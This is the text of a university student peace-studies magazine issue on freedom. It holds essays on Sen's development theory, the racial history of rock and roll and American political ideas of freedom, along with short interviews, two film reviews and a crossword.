At a macro level, development is measured by rising personal incomes; industrialisation; technological advancements. At a micro level is the Gross Domestic Product (GDP). The germane question that needs an answer is: Does economic development lead to freedom? Here it is important to take cognizance of Amartya Sen’s idea of “Development as Freedom” wherein he had viewed freedom as the element for development. There are two reasons he cites for this; first, acceptable human progress enhances freedom; second, ‘achievement of development is dependent on free agency of people’. It is easy to agree with his first assertion, but the economists remain divided in his second assertion. Sen’s theory in development economics departs from economic orthodox position that argues “non-intervention of state in economic affairs” and letting the Smithsonian ‘invisible hand’ carry out economic growth that will take care of poverty and ultimately provide freedom to the people. Sen argues in support of increasing public expenditure for the amelioration of the condition of the poor.

On a philosophical note, Sen’s argued against economic growth even if it takes care of the general welfare of the people, but denies them basic civil and political rights. In simple terms, economic advancement does not provide freedom in a realist sense. A realist example can be China and Singapore where GDP has grown leaps and bounds over the decades. The people’s civil and political rights are abrogated. For Sen, there are five varieties of freedom: political freedoms, economic facilities, social opportunities, transparency guarantees, and protective security. Political freedom in terms of freedom of expression and elections; Economic facilities in terms of participation in trade and production that shall help to promote individual initiative as well as public resources for social benefits; Social opportunities in terms of health and education facilities; transparency guarantees and protective security in terms of welfare. For Sen, the instrumental role of freedom is in terms of rights and opportunities that provide expansion of human freedom and in the end promote development. A realist example of his theoretical premise is the enactment of National Rural Employment Guar-

antee Act (NREGA), 2005 that provides basic employment for the poor through building village roads, wells, and public sanitation facilities in rural India. With the involvement of Indian state through NREGA social welfare scheme, it provided the poor with fixed wages for carrying out development tasks in their villages that in turn created a sense of freedom and empowerment for the rural poor in India. Development does provide answers for freedom in the context of the capability approach, where the capability of humans to live their life that has a reason to value, rather than a life that is bonded to GDP, technical progress, and industrialisation. By raising human capabilities, there is a transformation in choices, well-being and freedom of the people. The processes do create social change, and that ultimately influences economic production as in the case of NREGA. As per government of India estimates, women participation was 53 percent in rural India. That has provided empirical justification behind the evolution of social welfare programmes meant to not only empower, but also to provide a sustainable livelihood for the rural populace in India.


EMANCIPATION By Torbjørn Rogde

THE BEGINNING In the history of western modern popular music it is common to separate “black” and “white” musical traditions. The two traditions span from several centuries back, but due to other historical factors the contrast between them becomes more clear at the turn of the 20th century. The main stage for the development of the popular music was the United States. Before giving them all the credit it is important to remember that the U.S., as a result of the triangle trade, was made up of Europeans and Africans. As is well know, Africans and Europeans arrived in the U.S. under very different conditions, something which has also influenced the ways in which the two groups approached musical expression. Under the practice of slavery black people were considered to be property, while the white people were free. Even though the abolition of slavery officially took place in 1865, the segregation was still a fact for many decades past. This divide was also made within categorizing black and white music. There were similarities and differences between the two musical styles in the early 19th century.

One similarity was the choice of instruments, most of which were smaller sized and easily transported. The violin and guitar were common in that respect, and were more practical than dragging around a piano. Though the violin was mainly a “white” instrument, the guitar was common in both traditions. The latter would grow to become the very symbol of what was to come.

“The genre that later proved to bring black and white music together was the blues” Black Music Tradition In the black tradition blues was a central genre, along with negro spirituals and ragtime. Negro spirituals were psalms that later developed into gospel music, and continued into soul music. Ray Charles was prominent in this direction. These genres became their own branch on the musical tree, but the genre that later proved to bring black and white music together was the blues. Robert Johnson is often elevated

as one of the most influential characters in the early blues genre. Many years later Eric Clapton called him “the most important blues singer that ever lived”. The lyrics of the early blues were often an expression of negative emotions as a result of not being free. The affordability of the instruments was paramount, and often the instruments were even home made. All you needed was a piece of wood and a string that can vary in length in order to create different notes. There was usually only one person performing a blues song. Understandably the aspect of inter-play was therefore not required, which allowed for a large level of freedom to improvise. At this point in music electricity was not yet widespread, and the microphone was not yet common on stage. This is an important point in imagining the characteristics of some of the blues singers. Some of the singing tradition came from so-called “field howlers.” A field howler’s task consisted of yelling out orders in the plantations due to their powerful voices. Although slavery was abolished in the early 20th century, this vocal technique was still in development, and often heard as screaming and

IN MUSIC wild. The importance of cultivating your own unique sound was also emphasized among black singers, as a way to create your own identity. After a while the blues genre slides into incorporating the aspect of interplay with others. However the improvisation, or the jam, still remained. The new genre which grew out of the blues, was called rhythm and blues. White music tradition Amongst the white musical tradition, the musicians had a long history of focusing on interplay and structure. For the vocalists the melody was important, and the lyrics often had moral undertones. Where the field howlers almost screamed their songs, the white music went for harmonies with emphasis on melody. The white singers often sought after an ideal voice, which meant that the better the singer was, the more similar they sounded. This was in stark contrast to the black tradition where individuality in the voice was fostered. As a result of musicians playing together the music performed in the white tradition called for more structure. String bands, consisting of guitars, banjos, mandolins, often

with a fiddle carrying the melody, became popular. Out of this bluegrass soon grew, which by some were considered to be “hillbilly” music. Its origin was Kentucky, Virginia, and the style was named after the blue grass which could be seen there. Folk music was

“Music history might want to give Rock N Roll the credit for erasing the divide between black and white” also a genre of importance in the white musical tradition, which later would be led by Bob Dylan, who was influenced by songwriters like Woody Guthrie and Bob Seager. Johnny Cash and his undefined genre also grows out as a mixture between folk music and country music. While both Johnny and Bob came into the picture at a later stage, now in the 1940s and 50s the rockabilly arises. Rockabilly was an important corridor from the white tradition which leads to one of the most famous genre of musical history: Rock N Roll.

Photo by Torhild Larsen Skillingstad


The Fusion It would be slightly naïve to think that both black and white music were developed without influences from one another, but in history the two had been kept separate up until this point. Now, in the 1950s a new genre arises being seen as a mix of the black rhythm and blues and the white rockabilly. Of course this is looking at it with simplified glasses, there were of course also influences from other existing genres involved. Anyways, this new genre was to be called rock and roll. History might want to give rock and roll the credit for erasing the divide between black and white in music, although that might be an exaggeration. One can at least say it was the first genre where both traditions took their first steps walking hand in hand. At the same time this happens, another phenomenon appears: the term “youth”. In 1964, although a decade later, 40% of the population was under 20 years of age. Society starts shifting towards dividing between young versus old, as opposed to black versus white - a change which didn’t hurt the rise of the free spirited Rock N Roll.


The start of Rock N Roll In 1887 Thomas Edison reproduced sound for the first time in history. Since then musical recordings have become a given to us, something which also was the case since the 1920s. Then, like now, the music was distributed to audiences through the radio. A radio show airing in the early 1950s had named itself “Rock and Roll”. The kind of music you could hear there was often rhythm and blues, and rockabilly, amongst others. It wasn’t until after a little while that the music from this show was categorized into a genre of it’s own, namely rock and roll. It was actually a rather vulgar name since “rock” often was used as black slang for having sex. 1955 might be considered the most important year for Rock N Roll. Bill Haley and His Comets had a massive hit with the song “Rock Around the Clock”. Haley was a white man, but his expression was associated with the black tradition. In 1953 Elvis does his first recording and contributes to making things happen at this early stage (but as we know, he would go on to become much more famous). Other artists of great importance from these years are guys like Chuck Berry, Little Richard, Jerry Lee Lewis, Johnny Cash and Buddy Holly. In 1956 Elvis has his big breakthrough on the Ed Sullivan Show, a talkshow broadcasted all over the U.S. This leads to an explosion which was being heard also outside of the U.S. borders as well. Meanwhile Overseas At the same time as the music is slowly being liberated in the U.S. things are happening in Great Britain. The news of rock and

roll is spreading over the Atlantic, and the music is being picked up by radio stations and also being brought in by visiting seamen. Liverpool is one of the cities of great importance because it receives these musical recordings from sailors from the United States. Whether or not it mattered that audio recordings were more “colorblind” is uncertain, but the Brits heard the music in their own way. They were on the outside with a different take on the music, and a different understanding of it all. Maybe they could hear the music as music alone, and not as representation of the divide of black and white. And maybe this also gave them the freedom to express themselves as “colorblind” through the making of their own music. A wave of British bands was inspired by the music coming from across the pond. Spearheading this movement were the Beatles, and many bands followed. The Rolling Stones who were originally inspired by the black rhythm and blues also proved to be an important part in erasing the racial segregation in popular music. If the integration of black and white music walked its first steps in the United States, it was probably in Britain where the biggest steps were taken, and the band taking the biggest of all: the Beatles. If you look analytically at the Beatles’ music, they had a unique mix of traditional white and black elements. They had a clear structure in their songs, consisting of clear verses and choruses. These were elements associated with white music tradition. At the same time they could play like the black tradition within their

structured songs. Often they used rhythmical elements which wasn’t common in the white tradition. The vocals were the carrying elements of the songs, and they were able to vary between wild and screaming voices to soft melodious harmonies, yet again a mix between black and white components. As a whole this became a combination that was new to the music world, which also explains the wide appeal. Also they were young, in their early 20s, which corresponded well with the 40% of the world population in the same group. Most of the British bands popular in this period had many of those elements in common. As a conclusion we could say that rock and roll has been important to has been important to racial freedom in music. In the beginning, music was segregated along with the general society in the United States. People were considered as either black or white, likewise the music was considered either black or white. Though the slaves in the U.S. were seen as property, their will to express themselves through music only increased. New genres developed alongside the emancipation and abolition of slavery. Rock and roll was an important integration of black and white musical elements. Music is more than just sound, it’s a way of expressing an emotion, a thought, an opinion. Therefore, in some ways the genre rock and roll perhaps achieved something bigger than just the sounds of its music. Peace, Love…and Rock N Roll!

Photo by Janine Tessem Strøm



Humans of UiT 1. What do you associate with the word freedom? 2. What does freedom mean to you? Ekaterina Trunova,

Lars Kolbeinsen, Anthropology Student

Higher Executive Officer, Centre for Peace Studies

1. Freedom of the mind, that no one holds you back. The possibility to set your own limitations for what you want to do, and will not do. 2. Creativity. Fishing, since then I have the opportunity to reflect upon different things in a calm and silent environment. In addition, doing something, which is in accordance to my moral principles.

1. Different understandings of the term freedom. My idea of freedom can be different from your understanding of it, and therefore it doesn’t exist a universal definition. 2. The opportunity to what you want, within the framework that is set. What also comes to mind, is that societies we see as closed, lacks of freedom for its inhabitants, this understanding does not necessary have to be true. It might as well be that these inhabitants feel free within their framework although these frameworks are different from our societies.

Lodve Svare, PhD Candidate,

Peter Krogseng Magnussen, MPCT graduate/ Program Coordinator in Flyktningstjenesten 1. I see it as an individual term, because no one can tell you what freedom is. A person´s understanding of freedom needs to be seen in the context of that person´s wishes and ambitions. 2. I feel free when I am on vacation. Then I have the time to prioritize things that are important to me, such as spending time with my family, and doing nice things I do not have time for when I am working.

Centre for Peace Studies

1. To do whatever you want, to have a free mind and make your own choices. 2. For me freedom means that I can decide when I have to wake up in the morning, as well as be able to do whatever I want.

Percy Oware,

Academic Coordinator, Centre for Peace Studies

1. No fear, no threats, no force, as well as opportunities. 2. The feeling of freedom comes to mind when I have finished a work assignment, a deadline, or reached a goal I have set.

1. To be able to be yourself in a conceivable way. Freedom can be understood in terms of expression of ideas. Do what you wish, but also to say no to something that you don´t wish to do. 2. I always feel free. I can do whatever I please within the limits of a context, because you also have to respect other´s freedom too.

Øyvind Lingrasmo & Markus Salo Mikalsen, Electricians

Tiia Grøn, Visual Cultural Studies Student

Susannah Hofstein, Biomedicine Student

1. Political freedom, freedom of speech. 2. When I am travelling I feel free, because then I am able to leave whatever concerns I may have back home.

Abdullkadir Mohammed, MPCT Student

1. That no one dominates over you, and that you have the possibility to do whatever you wish or want to do, hence the opportunity to make your own choices. 2. At work, we feel free when we can choose which work assignments we want to focus on. In general, in our spare-time, we feel free to do what we want.

By Andrea Indrehus Furuli and Sara Karoline Steinmoen

1. When I did my data collection for my master thesis, my informants talked about freedom as a feeling they felt when they were on the mountains, where they would not think about their worries, but simply feel free. 2. God gives me the feeling of freedom.



Photo by Sarah Chisholm

Freedom to vs.

Freedom from

By Torhild Larsen Skillingstad

Rights and freedom. What right do you have to be free? The freedom to have rights. The right to have freedoms. What does it all mean? The United States of America is called the land of the free, and the culture emphasizes freedom. The concept of freedom has been important in American life and politics since their independence from the United Kingdom in 1776. But has that freedom stayed the same since that time? The political philosophers of the 17th and 18th century talked about the freedom from involvement of the government. The purpose of government was in order to enforce the rights of the individuals living within the state, especially the property right. John Locke said, “Government has no other end, but the preservation of property.” In the state of nature, governments were created in order to protect each person from being killed by another. Common in 2015, however, are expressions like “Freedom of speech,” “freedom of assembly” and “freedom of religion”. These all refer to a freedom to do

something. This freedom to will be ensured by the government, by allowing people to assemble or practice their religion of choice. The freedom to speak your mind is past the non-interference by the government, but moves more into the landscape of rights. The right to have the government’s protection from the interference by anyone. The freedom from interference by the government in your personal

commands. The difference might sound subtle, but when implemented as the basis of political beliefs the difference is significant. Perhaps the Republicans and the Democrats in the U.S. are talking about the same thing, but having different conversations? Rights and freedoms to are emphasized by the Democrats, and the Republicans would like to maintain the freedom from the government’s interference.

“America will never be destroyed from the outside. If we falter and lose our freedoms, it will be because we destroyed ourselves.”

It is easy to understand that the political sphere in the United States is polarized and to some extent confusing, since both are relying on the concept of freedom, but might understand it differently. As Abraham Lincoln said, “America will never be destroyed from the outside. If we falter and lose our freedoms, it will be because we destroyed ourselves.” Although America is not necessarily on its way to self-destruction, it might be stuck treading water politically, due to the disagreements between the two largest political parties. I guess freedom giveth and freedom taketh away.

Abraham Lincoln life and property is different from the freedom to be able to do what you want. The former follows a Republican-style logic, which dictates that the government should not place restrictions like taxes. The latter requires the government’s watchful eye, to make sure that its citizens enjoys the privileges that the freedom








FREEDOM By Marcos Lopez Macal

What is freedom? What is this word, this idea that we have written so much about and sacrificed so much for during our history? Poems have been written in honor of it, wars and rebellions fought to obtain it. Who is free? What is it we seek when we strive for freedom? Where do we get freedom? All of these are valuable and necessary questions, and can be answered from distinct points of view. In this paper, I will consider the topic of freedom from a philosophical and existential perspective. We could say that “freedom” is commonly considered to mean simply to do what one wants. This sounds appealing but is nonetheless incomplete; we cannot do whatever we want at any given time. Freedom should always go hand-in-hand with responsibility.





“Awareness of our freedom is a necessity both for us as individuals and as a society”

free to cut trees down to make way for farming, but the ecological impact that this may cause is a responsibility that should be taken into account. Drilling for oil might be justified from an economic standpoint, but the potentially catastrophic effects it may have on the environment and the world itself must be taken into account before any further consideration can be given to the idea. Awareness of our freedom is a necessity both for us as individuals and as a society. A society without awareness and consciousness of what it is doing will consume itself until it breaks down.

Thinking of the responsibilities that our freedom demands is a good practice that we should all exercise. For example, people are

I believe if I were to define freedom in a very simple way, I would say that freedom is having the liberty to choose. To decide for oneself what to do, what to

We are free, but we are responsible for the way in which we exercise our freedom. I believe this concept of freedom is more credible and practicable. We must always be responsible for our actions, thoughts, words, etc. All actions have consequences and meaning, and therefore must be accompanied by responsibility.


say, what to think, etc. I think that is the simplest way to measure the degree of freedom a person or society has. Can a person say what he or she thinks, feels, or believes without fear of aggression or persecution? We all make choices since the moment we wake up, some of these are conscious and some are

“Everyone thinks of changing the world, but no one thinks of changing themselves” Lev Tolstoy unconscious. Some of the choices we make are small and others are big, but in each and every one of those choices we exercise our

freedom and by consequence we should also put into practice our responsibility. I invite you to think about it, see how you put in practice both your freedom and your responsibility. See how many of your choices might have a big or small consequence on the environment or on someone else’s life. It could be something so small as being aware of where you buy a sweater or where you get your coffee. Your freedom and mine are tied to our responsibility and like Tolstoy said, “everyone thinks of changing the world, but no one thinks of changing themselves”. Maybe we could get inspire and say; “everyone talks about freedom, but no one talks about the responsibility of their own free choices”. Photo by Andrea Indrehus Furuli


Sara Karoline’s Film Corner


A film review by Sara Karoline Steinmoen Vibeke Løkkeberg`s feature debut “Åpenbaringen”, portrays a 50 year old housewife, Inger, who goes into a depression after her kids moved out and she no longer find a way to fit in. She does not need to stay home anymore and has the opportunity to achieve a kind of liberation with the opportunity to start work outside of home. However, she neither succeeds in entering the labour marked nor in her new everyday life. Her husband suggests a stay in a remote summer hotel for her to find the spark of life again. Inger meets a young couple that gives her courage to explore life a bit more. At its premiere “Åpenbaringen” was acclaimed by the critics, however the movie was not only in good favour. Two weeks after the premiere, Dagblandets film reviewer Arne Hestenes harshly criticised Åpenbaringen with the headline “Nei takk til Marie Takvams rumpe!”- No to Marie Takvam’s butt!” The scene that made Hestnes headline was the scene depicting Inger when she touches herself in a sexual way. I myself perceive it is a beautiful scene; an intimate and sincere

The Revelation

portrayal of Inger, performed by Marie Takvam. She is not only touching herself, but we see her even naked. A woman touching herself?! A naked woman- how controversial and shocking? Not really. However, it was not a naked woman in itself that was criticised. It was because she was an overweight woman. They thought this was “sickening and unappetizing,” Even though the movie was made in the 70`s and the critique as well, the brutality is shocking. The brutality, I mean, is that most of the women on this earth have the body of Marie Takvam in one way or the other, nevertheless most of us are living in a straitjacket society aiming to fit the scale of perfection. The movie is still relevant in today’s society and the on-going struggle of liberate women from being objectified. What gave Arne Hestnes the right to claim that the depicting of Inger was unappetizing and sickening? Unfortunately his voice does not belong to the past, it still exists today. Just see the movie and give the beauty of Marie Takvam a chance.

Genre: Drama Starring: Marie Takvam, Wilfred Breistrand, Bonne Gauguin, Wilhelm Lund, Vibeke Løkkeberg, Terje Kristiansen Director: Vibeke Løkkeberg Photo: Paul Rene Roestad Script: Vibeke Løkkeberg, Terje Kristiansen Country: Norway Language: Norwegian Production company: Stud-

ieavdelingen Norwegian Film A / S

Production year: 1977 Duration: 1 hr. 21 min.

Andrea’s 40 Film Corner


A film review by Andrea Indrehus Furuli

Genre: Drama/War Starring: Patrick Carroll, Rob Devaney, Izzy Diaz, Mike Figueroa, Ty Jones, Kel O’Neill, Daniel Stewart Sherman, Bridget Barkan, Zahra Kareem Alzubaidi Director: Brian De Palma Script: Brian De Palma Country: Canada, U.S.A. Language: English Production company: Magnolia Pictures, HDNet Films, The Film Farm Production year: 2007 Duration: 1 hr. 30 min.

Brian De Palma´s Redacted is a fictionalized version of a genuine event in Iraq. The movie portrays the events that occurs before, under and after a U.S. troop gang-raped and murdered a 14year old Iraqi girl, and killed her family in Samarra. The movie is based on video diaries the director Brian de Palma found on YouTube, and he used these as a bridge between the different combinations of formats within the movie. The story of the atrocity is presented through Private Angel Salazar´s video diary of his unit, as well as segments from a French documentary about the Iraqi War, Arab news reports, securitycamera footage, army interrogation tapes, Al-Qaeda videos and various internet video clips. Redacted, was awarded the Silver Lion for Best Direction at the Venice Film Festival in 2007. Later the same year it was also awarded Best Movie by French movie magazine, Cahiers du cinema. The movie has become one of the most visionary and unconventional movies ever, although when released in the U.S. the reviews was not so positive, amongst the critics the movie was accused of being an anti-Ameri-

can propaganda. The point De Palma emphasizes is that violence breeds violence, and that war is dirty, brutal and often meaningless. By watching the movie, it becomes clear why Redacted did provoke those who voted for the invasion of Iraq. De Palma goes far in his critique of not only the US invasion in Iraq, but also of the entire American war machinery, and how this affects soldiers’ mentality. In addition, through the use of different media formats, De Palma criticizes the sanitized media, and raises important questions about media responsibility and what people choose to see. De Palma´s message is clear that simply bearing witness is not enough, but what we do and what we witness is what matters in order to get to the truth. The movie is provocative and in some sense frustrating, such as in a few scenes De Palma´s message gets lost due to what can be interpreted as improvised or plainly bad acting. However, the movie is highly recommended to watch in order to reflect upon the complexity and tragedy of war.


Crossword ACROSS 1. The Norwegian word for “freedom” 4. This group of people exists in every country. Arguably, they make up 50% of the world population. In most cases, this large group of people’s freedoms and rights have lagged behind those of their counterparts. 7. “I ________ a dream!” – Famous speech by Martin Luther King Jr. 8. Common acronym for the Middle East 9. Free movement of workers – a principle for nationals of the ____ and EEA. (Abbreviation) 10. Broadly defined as the concept of the right to voice one’s opinion publicly without fear of censorship or punishment. Freedom of __________. 15. Defined as the individual right or ability to come together and collectively express, promote, pursue, and defend their ideas. Freedom of __________. 16. The opposite of “yes” 19. re:___________ - the name of the magazine you’re holding right now! 20. Unfortunately, almost no one is free from growing old – the process of _________. 21. The ability to choose how to act. 22. “We know too well that our freedom is incomplete without the freedom of the Palestinians.” – (author of this quote – last name). 23. A self-proclaimed autonomous neighbourhood of around 850 residents, this Danish ‘hood is colourful place with an anarchist vibe.’ DOWN 1. The capital of Sierra Leone. 2. The opposite of “out” 3. This group, based out of the community of Jenin in the West Bank, Palestine, aims to empower youth in the community to explore the potential of arts as an important catalyst for social change. The Freedom __________. 5. To become apparent or prominent. 6. Singer of “Keep on Rockin’ in the Free World” 11. Defined as the right to circulate opinions in print without censorship by the government. Freedom of the _______. 12. The so-called land of the free – acronym. 13. A set of concepts aimed at decision making in situations of competition and conflict (or of cooperation and interdependence). _______-theory. 14. The right to practice whatever religious belief system one chooses. Freedom of __________. 17. In 2013, President Obama awarded the Presidential Medal of Freedom to this talk-show host. 18. STOP, that’s against the ______!


By Sarah Chisholm

Follow us on instagram @repeacemag The answers to the crossword will be posted on our account on December 19, 2015

Read this and earlier issues of re:PEACE magazine at www.repeacemag.com


Photos in this issue: Page 1: Berlin Wall, Germany Page 5: University of Tromsø Page 6-7: Bishkek, Kyrgyzstan Page 8-9: South Africa Page 10: Persian Rug Page 12: San Fransisco, USA Page 15: Arkhangelsk, Russia Page 16-17: Kyrgyzstan Page 18-19: Jenin, Palestine Page 20: Jaffa, Israel Page 22-23: Oslo, Norway Page 25: Nepal Page 28-29: New Delhi, India Page 30-31: Trondheim, Norway Page 33: Gibson Guitar Page 34-35: University of Tromsø Page 36: Eiffel Tower, Paris, France Page 39: Kvaløya, Norway Page 44: Kvaløya, Norway For more information about the Masters in Peace and Conflict Transformation programme at the University of Tromsø, go to www.peace.uit.no

In the attempt to balance some of the uneven aspects of the world, development has become an important and contested concept. The theme for the next issue will be


Next issue in print:

Spring 2016 If you want to contribute an article, photographs, poems or anything else, submit it to repeacemagazine@gmail.com

Profile for Re:Peace Magazine

Re:PEACE magazine - vol. 2  

Re:PEACE magazine - vol. 2